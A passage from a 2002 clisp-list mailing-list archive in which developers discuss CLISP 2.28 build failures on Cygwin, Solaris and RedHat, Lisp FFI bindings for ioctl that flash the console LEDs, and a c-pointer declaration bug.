way to get the answer. I changed it to the following: (def-c-call-out ioctl-read (:name "ioctl") (:arguments (fd int) (request int) (arg (c-ptr int) :out :alloca)) (:return-type int)) (def-c-call-out ioctl-write (:name "ioctl") (:arguments (fd int) (request int) (arg int)) (:return-type int)) The following can be used to test it from the console (won't work under X): (defun check-leds (fd) (let ((KDGETLED #x4b31) (LED_SCR 1) (LED_NUM 2) (LED_CAP 4)) (multiple-value-bind (r s) (linux:ioctl-read fd KDGETLED) (cond ((= LED_SCR s) 'scroll) ((= LED_NUM s) 'num) ((= LED_CAP s) 'caps) (t 'none))))) (defun flash-leds (fd n) ; (let ((fd (linux:open "/dev/tty" linux:O_NOCTTY 0)) ;this works but I think it messes up the flags which control the leds ;since they won't turn on aftwrwards on the console on which the ;function has run. Don't worry, just temporary. (let ((KDSETLED #x4b32)) (unwind-protect (dotimes (v n t) (dolist (led '(1 2 4) nil) (linux:ioctl-write fd KDSETLED led) (sleep 0.050)) (sleep 0.025)) (linux:ioctl-write fd KDSETLED 0)))) Where 'fd' is the number of the tty you are on. I have some questions: Could ioctl be defined as one function with :in-out parameters, instead of being split up into two? If a C function expects a (pointer to) a function in its argument list, can I give it a lisp function. Ie, will the ffi convert it to the correct type for C, automatically. What should the allocation be? Regards, Peter From dan.stanger@ieee.org Tue Mar 05 11:55:21 2002 Received: from mantis.privatei.com ([208.203.136.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iL1s-0005Cp-00 for ; Tue, 05 Mar 2002 11:55:20 -0800 Received: (from dxs@localhost) by mantis.privatei.com (8.11.6/8.11.6) id g25JtGk15198 for clisp-list@lists.sourceforge.net; Tue, 5 Mar 2002 12:55:16 -0700 (MST) From: dan.stanger@ieee.org Message-Id: <200203051955.g25JtGk15198@mantis.privatei.com> X-Authentication-Warning: mantis.privatei.com: dxs set sender to dan.stanger@ieee.org using -r To: clisp-list@lists.sourceforge.net Subject: [clisp-list] garnet on m$windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 5 11:56:04 2002 X-Original-Date: Tue, 5 Mar 2002 12:55:16 -0700 (MST) I have been trying to port garnet to m$windows. The approach I have taken is to compile clisp using cygwin, building new-clx, linking it against libW11, a gpl'd implementation of xlib on m$windows. After adding some unimplemented functions to libW11, I got the test programs distributed with mit-clx to run, but I am having trouble with garnet, in particular, I am getting problems which I think are caused by a uninitialized variable. My question is: Is there documentation on the build process for new-clx, in particular the conversion process between the combination c and lisp like code in the clx.f file to the clx.c file which finally gets built? Is there documentation on the clisp functions which are called? I am thinking about just writing a new package calling win32 functions instead of the Xlib ones, instead, as libW11 is not very complete. Dan Stanger From vs1100@terra.es Tue Mar 05 12:36:06 2002 Received: from mailhost.teleline.es ([195.235.113.141] helo=tsmtp1.mail.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iLfH-0002bN-00 for ; Tue, 05 Mar 2002 12:36:03 -0800 Received: from karsten.terra.es ([62.37.163.8]) by tsmtp1.mail.isp (Netscape Messaging Server 4.15 tsmtp1 Jul 26 2001 13:10:38) with ESMTP id GSIP7M00.KP1 for ; Tue, 5 Mar 2002 21:35:46 +0100 Message-Id: <5.1.0.14.0.20020305212326.009fa480@pop3.terra.es> X-Sender: vs1100.terra.es@pop3.terra.es X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Karsten In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] Clisp 2.28 on cygwin Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 5 12:38:39 2002 X-Original-Date: Tue, 05 Mar 2002 21:33:29 +0100 Hello, I compiled clisp 2.28 on Windows/Cygwin. There is only one problem with ualarm cygwin defines it as useconds_t _EXFUN(ualarm, (useconds_t __useconds, useconds_t __interval)); and complains about the declaration in unix.d, line 296 # extern_C unsigned int ualarm (unsigned int value, unsigned int interval); # siehe UALARM(3) and the redefinition in unixaux.d line 589. I honestly don't know why this compiled in clisp 2.27 (I did that), because I can't see any change in ualarm. After commenting these two definitions, clisp compiles fine, executes the test-suite with just one error inexcepsit.erg (I had that also in 2,27). Is there anything that I can do to really resolve the ualarm issue? Un saludo Karsten From samuel.steingold@verizon.net Tue Mar 05 15:40:55 2002 Received: from out016pub.verizon.net ([206.46.170.92] helo=out016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iOYA-0008Kt-00 for ; Tue, 05 Mar 2002 15:40:54 -0800 Received: from gnu.org ([151.203.224.254]) by out016.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020305234052.LDEV28131.out016.verizon.net@gnu.org>; Tue, 5 Mar 2002 17:40:52 -0600 To: dan.stanger@ieee.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] new-clx, 2.28 on solaris References: <3C841C0A.CD52099@ieee.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3C841C0A.CD52099@ieee.org> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 5 15:41:02 2002 X-Original-Date: 05 Mar 2002 18:35:56 -0500 > * In message <3C841C0A.CD52099@ieee.org> > * On the subject of "[clisp-list] new-clx, 2.28 on solaris" > * Sent on Mon, 04 Mar 2002 18:14:50 -0700 > * Honorable Dan Stanger writes: > > I had some problems compiling new-clx on solaris. Attached is a gzip'd > diff file with the changes I made, to correct the problems I had. I cannot read the diff (it appears to be some ed(1) commands?) please send the unified diffs (cvs diff -u), and do not gzip them thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! If you want it done right, you have to do it yourself From samuel.steingold@verizon.net Tue Mar 05 16:54:56 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iPhm-00017h-00 for ; Tue, 05 Mar 2002 16:54:54 -0800 Received: from gnu.org ([151.203.227.220]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020306005452.DMPU22012.out020.verizon.net@gnu.org>; Tue, 5 Mar 2002 18:54:52 -0600 To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: [clisp-announce] GNU CLISP 2.28 release References: <5.1.0.14.2.20020304133011.02a926e8@pop3.cris.com> <895604849.20020305102312@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <895604849.20020305102312@ich.dvo.ru> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 Message-ID: Lines: 24 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 5 16:55:22 2002 X-Original-Date: 05 Mar 2002 19:50:00 -0500 > * In message <895604849.20020305102312@ich.dvo.ru> > * On the subject of "Re: [clisp-list] Re: [clisp-announce] GNU CLISP 2.28 release" > * Sent on Tue, 5 Mar 2002 10:23:12 +1000 > * Honorable Arseny Slobodjuck writes: > > I started this day from formatting C: instead of D:, > so I should recover a bit... I am sorry to hear this. Whoever makes a binary of CLISP (win32, RPM, whatever), please put it somewhere I can download it from (these days everyone has a homepage, right? :-) BTW, any RPM gurus here? I did not touch the beast for 3 years and I don't have time to re-learn the stuff right now, so maybe someone "in the know" could build the current RPM? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Diplomacy is the art of saying "nice doggy" until you can find a rock. From samuel.steingold@verizon.net Tue Mar 05 16:57:04 2002 Received: from out008pub.verizon.net ([206.46.170.108] helo=out008.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iPjq-0002CY-00 for ; Tue, 05 Mar 2002 16:57:02 -0800 Received: from gnu.org ([151.203.227.220]) by out008.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020306005701.CYCB12982.out008.verizon.net@gnu.org>; Tue, 5 Mar 2002 18:57:01 -0600 To: IPmonger Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Compilation Failure: Latest Release (2.28) : RedHat 7.2 (Kernel 2.4.9-21) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 5 16:58:04 2002 X-Original-Date: 05 Mar 2002 19:52:04 -0500 > * In message > * On the subject of "[clisp-list] Compilation Failure: Latest Release (2.28) : RedHat 7.2 (Kernel 2.4.9-21)" > * Sent on Tue, 05 Mar 2002 04:32:52 -0500 > * Honorable IPmonger writes: > > > ./lisp.run -B . -Efile UTF-8 -norc -m 750KW \ > -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)" > > but this bombs with a segfault: > > ;; Loading file /usr/local/src/clisp/build/deprecated.lisp ... > ;; Loading of file /usr/local/src/clisp/build/deprecated.lisp is finished. > *** - handle_fault error2 ! address = 0x203C5000 not in [0x202BD000,0x203866E4) ! > SIGSEGV cannot be cured. Fault address = 0x203C5000. > make: *** [halfcompiled.mem] Segmentation fault > > Can someone suggest something to try? edit Makefile, remove optimizations and replace -O2 with -g, then get the backtrace. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Booze is the answer. I can't remember the question. From samuel.steingold@verizon.net Tue Mar 05 17:47:41 2002 Received: from out016pub.verizon.net ([206.46.170.92] helo=out016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iQWq-0000tJ-00 for ; Tue, 05 Mar 2002 17:47:40 -0800 Received: from gnu.org ([151.203.227.220]) by out016.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020306014734.LSLO28131.out016.verizon.net@gnu.org>; Tue, 5 Mar 2002 19:47:34 -0600 To: Karsten Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp 2.28 on cygwin References: <5.1.0.14.0.20020305212326.009fa480@pop3.terra.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.0.20020305212326.009fa480@pop3.terra.es> Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 5 17:48:07 2002 X-Original-Date: 05 Mar 2002 20:42:41 -0500 > * In message <5.1.0.14.0.20020305212326.009fa480@pop3.terra.es> > * On the subject of "[clisp-list] Clisp 2.28 on cygwin" > * Sent on Tue, 05 Mar 2002 21:33:29 +0100 > * Honorable Karsten writes: > > I compiled clisp 2.28 on Windows/Cygwin. please "make distrib" and upload clisp-2.28-cygwin.tar.gz to upload.sf.net/incoming > After commenting these two definitions, clisp compiles fine, executes > the test-suite with just one error inexcepsit.erg (I had that also in > 2,27). could you please remind me what the error is? can you debug it? > Is there anything that I can do to really resolve the ualarm issue? it appears that cygwin provides a working ualarm, right? where/how is it declared? thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! main(a){a="main(a){a=%c%s%c;printf(a,34,a,34);}";printf(a,34,a,34);} From samuel.steingold@verizon.net Tue Mar 05 17:49:57 2002 Received: from out019pub.verizon.net ([206.46.170.98] helo=out019.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iQZ2-0002AR-00 for ; Tue, 05 Mar 2002 17:49:56 -0800 Received: from gnu.org ([151.203.227.220]) by out019.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020306014942.FBQS379.out019.verizon.net@gnu.org>; Tue, 5 Mar 2002 19:49:42 -0600 To: Randall R Schulz Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: [clisp-announce] GNU CLISP 2.28 release References: <5.1.0.14.2.20020304133011.02a926e8@pop3.cris.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.2.20020304133011.02a926e8@pop3.cris.com> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 5 17:50:13 2002 X-Original-Date: 05 Mar 2002 20:44:48 -0500 > * In message <5.1.0.14.2.20020304133011.02a926e8@pop3.cris.com> > * On the subject of "[clisp-list] Re: [clisp-announce] GNU CLISP 2.28 release" > * Sent on Mon, 04 Mar 2002 13:38:37 -0800 > * Honorable Randall R Schulz writes: > > Is there a timetable on availability of a pre-built Win32 binary for 2.28? Arseny Slobodjuck just built a binary for you - find it in the usual places. Thanks Arseny! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! I want Tamagochi! -- What for? Your pet hamster is still alive! From samuel.steingold@verizon.net Tue Mar 05 21:17:29 2002 Received: from out001slb.verizon.net ([206.46.170.13] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iTns-0004De-00 for ; Tue, 05 Mar 2002 21:17:28 -0800 Received: from gnu.org ([151.203.227.220]) by out001.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020306051723.PVIZ7202.out001.verizon.net@gnu.org>; Tue, 5 Mar 2002 23:17:23 -0600 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ffi:c-pointer -> why char* instead of void*? References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 37 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 5 21:18:03 2002 X-Original-Date: 06 Mar 2002 00:12:28 -0500 > * In message > * On the subject of "[clisp-list] ffi:c-pointer -> why char* instead of void*?" > * Sent on Tue, 5 Mar 2002 14:34:50 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > The following > (ffi:def-c-var compress-indirect (:type ffi:c-pointer) > (:name "clisp_ffi_indirector")) > generates > extern char* clisp_ffi_indirector; > > Impnotes.html states: > c-pointer > This type corresponds to what C calls void*, an opaque pointer. > However foreign1.lisp implements (in to-c-typedecl): > ((c-pointer c-string) (format nil "char* ~A" name)) > > Is there a reason for this deviation? not that I know of. > Is that something left from the pre ANSI-C history of CLISP? _you_ are asking _me_?! :-) > I'd call the current behaviour a bug since I obtain a C compiler error: fixed in the CVS. Thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Why use Windows, when there are Doors? From samuel.steingold@verizon.net Tue Mar 05 22:09:08 2002 Received: from out007pub.verizon.net ([206.46.170.107] helo=out007.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iUbr-0000zl-00 for ; Tue, 05 Mar 2002 22:09:07 -0800 Received: from gnu.org ([151.203.227.220]) by out007.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020306060911.LXPT29231.out007.verizon.net@gnu.org>; Wed, 6 Mar 2002 00:09:11 -0600 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] linux:ioctl References: <20020305202603.B9478@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020305202603.B9478@localhost.localdomain> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 5 22:10:04 2002 X-Original-Date: 06 Mar 2002 01:03:53 -0500 > * In message <20020305202603.B9478@localhost.localdomain> > * On the subject of "[clisp-list] linux:ioctl" > * Sent on Tue, 5 Mar 2002 20:26:03 +0100 > * Honorable Peter Wood writes: > > (let ((KDSETLED #x4b32)) > (unwind-protect (dotimes (v n t) > (dolist (led '(1 2 4) nil) > (linux:ioctl-write fd KDSETLED led) > (sleep 0.050)) (sleep 0.025)) > (linux:ioctl-write fd KDSETLED 0)))) [1]> (flash-leds 1 3) *** - 1 cannot be converted to the foreign type FFI:C-POINTER 1. Break [2]> *** - 0 cannot be converted to the foreign type FFI:C-POINTER 1. Break [3]> -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! If Perl is the solution, you're solving the wrong problem. - Erik Naggum From samuel.steingold@verizon.net Tue Mar 05 22:28:18 2002 Received: from out012pub.verizon.net ([206.46.170.137] helo=out012.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iUuO-0007Gk-00 for ; Tue, 05 Mar 2002 22:28:16 -0800 Received: from gnu.org ([151.203.227.220]) by out012.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020306062815.LPKY26730.out012.verizon.net@gnu.org>; Wed, 6 Mar 2002 00:28:15 -0600 To: dan.stanger@ieee.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] garnet on m$windows References: <200203051955.g25JtGk15198@mantis.privatei.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200203051955.g25JtGk15198@mantis.privatei.com> Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 5 22:29:03 2002 X-Original-Date: 06 Mar 2002 01:23:19 -0500 > * In message <200203051955.g25JtGk15198@mantis.privatei.com> > * On the subject of "[clisp-list] garnet on m$windows" > * Sent on Tue, 5 Mar 2002 12:55:16 -0700 (MST) > * Honorable dan.stanger@ieee.org writes: > > Is there documentation on the build process for new-clx, in particular > the conversion process between the combination c and lisp like code in > the clx.f file to the clx.c file which finally gets built? not really - just Makefile and the source code. note that the e2d program appears to have a Solaris-specific bug. :-( it appears to work fine on Linux though. it should have been written in CLISP actually - by the time we get to the modules, we already have a working CLISP image. > Is there documentation on the clisp functions which are called? which ones? > I am thinking about just writing a new package calling win32 functions > instead of the Xlib ones, instead, as libW11 is not very complete. great! [actually, I would prefer GTK bindings instead of CLX tweaks - I hear GTK works on win32 also, right?] -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Those who can laugh at themselves will never cease to be amused. From peter.wood@worldonline.dk Tue Mar 05 22:36:32 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iV2N-0008JC-00 for ; Tue, 05 Mar 2002 22:36:31 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 6DB6DB57B for ; Wed, 6 Mar 2002 07:36:27 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g266LAL00171; Wed, 6 Mar 2002 07:21:10 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] linux:ioctl Message-ID: <20020306072109.A137@localhost.localdomain> References: <20020305202603.B9478@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Wed, Mar 06, 2002 at 01:03:53AM -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 5 22:37:03 2002 X-Original-Date: Wed, 6 Mar 2002 07:21:09 +0100 On Wed, Mar 06, 2002 at 01:03:53AM -0500, Sam Steingold wrote: > > * In message <20020305202603.B9478@localhost.localdomain> > > * On the subject of "[clisp-list] linux:ioctl" > > * Sent on Tue, 5 Mar 2002 20:26:03 +0100 > > * Honorable Peter Wood writes: > > > > (let ((KDSETLED #x4b32)) > > (unwind-protect (dotimes (v n t) > > (dolist (led '(1 2 4) nil) > > (linux:ioctl-write fd KDSETLED led) > > (sleep 0.050)) (sleep 0.025)) > > (linux:ioctl-write fd KDSETLED 0)))) > > [1]> (flash-leds 1 3) > > *** - 1 cannot be converted to the foreign type FFI:C-POINTER > 1. Break [2]> > *** - 0 cannot be converted to the foreign type FFI:C-POINTER > 1. Break [3]> Hi, What did you change the ffi definition for ioctl to? I get this: # [2]> (load #"lisp/Linux/ioctl.lisp") ;; Loading file lisp/Linux/ioctl.lisp ... ;; Loading of file lisp/Linux/ioctl.lisp is finished. t [3]> (check-leds 4) none [4]> (check-leds 4) none [5]> (check-leds 0) num [6]> (check-leds 0) caps [7]> (flash-leds 0 10) t [8]> (dribble) Works fine ... with the definitions I sent in the previous post. Regards, Peter From ipmonger@delamancha.org Tue Mar 05 23:11:17 2002 Received: from validus.delamancha.org ([216.7.21.39]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iVZz-0003O5-00 for ; Tue, 05 Mar 2002 23:11:15 -0800 Received: (from ipmonger@localhost) by validus.delamancha.org (8.11.6/8.11.6) id g267BEG32532; Wed, 6 Mar 2002 02:11:14 -0500 X-Authentication-Warning: validus.delamancha.org: ipmonger set sender to ipmonger@delamancha.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Compilation Failure: Latest Release (2.28) : RedHat 7.2 (Kernel 2.4.9-21) References: In-Reply-To: (Sam Steingold's message of "05 Mar 2002 19:52:04 -0500") From: IPmonger Message-ID: Lines: 38 User-Agent: Gnus/5.090006 (Oort Gnus v0.06) XEmacs/21.5 (bamboo, i686-pc-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 5 23:12:03 2002 X-Original-Date: Wed, 06 Mar 2002 02:11:13 -0500 Sam, You wrote: > edit Makefile, remove optimizations and replace -O2 with -g, then get > the backtrace. I configured in directory "with-gcc-wall" and then edited the Makefile to remove the -O2 and added -g3. I manually went through the steps and they all passed w/out a problem, including "make test" and "make testsuite". So, I configured in directory "with-gcc-wall-o2" and left the optimizations turned on (-O2) but added debugging (-g3). The point a which it fails varies from scenario to scenario. What doesn't vary is that it fails while trying to load a compiled .fas file. What does vary is which file: under gdb it fails *sooner* than when run w/out gdb. Here's what gdb has to say: ;; Loading file format.fas ... Program received signal SIGSEGV, Segmentation fault. 0x080a2ec6 in read_delimited_list_recursive (stream_=Cannot access memory at address 0x14c7) at io.d:2548 2548 Cdr(STACK_0) = new_cons; # =: (cdr (last Gesamtliste)) The failure under gdb is always this same line. It seems like there might be a problem with optimization... -jon -- ------------------ Jon Allen Boone ipmonger@delamancha.org CCIE #8338 From ipmonger@delamancha.org Tue Mar 05 23:27:59 2002 Received: from validus.delamancha.org ([216.7.21.39]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iVqB-0007hi-00 for ; Tue, 05 Mar 2002 23:27:59 -0800 Received: (from ipmonger@localhost) by validus.delamancha.org (8.11.6/8.11.6) id g267RvN06037; Wed, 6 Mar 2002 02:27:57 -0500 X-Authentication-Warning: validus.delamancha.org: ipmonger set sender to ipmonger@delamancha.org using -f To: clisp-list@lists.sourceforge.net Subject: new-clx/Linux (was Re: [clisp-list] garnet on m$windows) References: <200203051955.g25JtGk15198@mantis.privatei.com> In-Reply-To: (Sam Steingold's message of "06 Mar 2002 01:23:19 -0500") From: IPmonger Message-ID: Lines: 25 User-Agent: Gnus/5.090006 (Oort Gnus v0.06) XEmacs/21.5 (bamboo, i686-pc-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 5 23:28:05 2002 X-Original-Date: Wed, 06 Mar 2002 02:27:57 -0500 >> * Honorable dan.stanger@ieee.org writes: >> >> Is there documentation on the build process for new-clx, in >> particular the conversion process between the combination c and lisp >> like code in the clx.f file to the clx.c file which finally gets >> built? > Sam Steingold responds: > > not really - just Makefile and the source code. note that the e2d > program appears to have a Solaris-specific bug. :-( it appears to > work fine on Linux though. I have problems compiling new-clx due to missing semi-colons in the use of the macros UNDEFINED and NOTIMPLEMENTED. -jon -- ------------------ Jon Allen Boone ipmonger@delamancha.org CCIE #8338 From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 06 02:04:33 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iYGh-0003q4-00 for ; Wed, 06 Mar 2002 02:03:32 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 6 Mar 2002 10:58:07 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 6 Mar 2002 10:59:15 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: 